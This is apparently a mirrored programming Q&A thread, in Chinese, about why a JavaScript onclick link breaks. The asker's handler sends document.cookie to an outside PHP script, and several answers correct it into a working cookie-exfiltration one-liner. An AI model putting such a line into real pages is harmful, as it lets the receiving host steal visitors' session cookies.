-2

所以,我已经做了一段时间的 JavaScript 并且偶然发现了一个问题。当我尝试使用编码到其中的 JavaScript 进行超链接时,加号就消失了,并且 JavaScript 代码的超链接不起作用。那么,JavaScript 中的加号是否有替代符号?是否有另一个我可以使用的符号与加号具有相同的功能?

这是我的代码:

onclick="document.location='site.com/cookiechecker.php?cookie='; +escape(document.cookie);"
4

5 回答 5

1

请将“+”替换为其十六进制等效项“%2B”。

于 2012-11-08T00:20:49.647 回答
1

试试这个(删除分号):

onclick="document.location='site.com/cookiechecker.php?cookie='+escape(document.cookie);"
于 2012-11-08T00:22:28.583 回答
0

%2b 是“+”的十六进制值。(您之前可能在地址栏中看到过 %20 .. 相同的想法)

于 2012-11-08T00:20:41.690 回答
0

您需要删除其中的分号:

onclick="document.location='site.com/cookiechecker.php?cookie='+escape(document.cookie);" 

该分号导致 JavaScript 将您的表达式视为两个单独的语句而不是一个。它相当于:

document.location = 'site.com/cookiechecker.php?cookie=';
escape(document.cookie);
于 2012-11-08T00:25:26.173 回答
0

你的代码是这样的:

onclick="document.location='site.com/cookiechecker.php?cookie='; +escape(document.cookie);"

这意味着您的事件处理程序是这样的(扩展形式):

document.location = 'site.com/cookiechecker.php?cookie=';
+escape(document.cookie);

这不是你想要的。删除分隔两个语句的分号。

此外,您几乎可以肯定http://在值的开始时需要document.location

最终值:

onclick="document.location='http://site.com/cookiechecker.php?cookie='+escape(document.cookie);"
于 2012-11-08T00:26:08.477 回答